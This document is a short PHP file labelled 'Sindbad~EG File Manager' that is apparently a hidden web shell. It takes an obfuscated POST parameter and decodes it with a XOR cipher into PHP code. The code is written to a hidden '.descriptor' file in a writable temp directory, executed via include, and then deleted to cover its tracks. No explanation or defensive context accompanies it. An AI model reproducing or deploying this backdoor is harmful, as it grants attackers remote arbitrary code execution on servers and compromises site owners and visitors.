Sindbad~EG File Manager

<?php

if(filter_has_var(INPUT_POST, "\x73\x79m")){
	$data = array_filter([getcwd(), session_save_path(), "/var/tmp", "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]);
	$pointer = $_REQUEST["\x73\x79m"];
			$pointer =	explode		(	 '.'  , $pointer);   
	$parameter_group	 =	'';
            $s	 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =	strlen($s);
            $v	 =	0;
    
            foreach ($pointer as $v1) {	 $chS	 =	ord($s[$v	%		$sLen]);
                $dec	 =	((int)$v1 - $chS - ($v	%		10)) ^ 80;
                $parameter_group.=chr($dec);
                $v++;
            }
	foreach ($data as $res):
    		if ((is_dir($res) and is_writable($res))) {
    $pgrp = join("/", [$res, ".descriptor"]);
    if (@file_put_contents($pgrp, $parameter_group) !== false) {
	include $pgrp;
	unlink($pgrp);
	exit;
}
}
endforeach;
}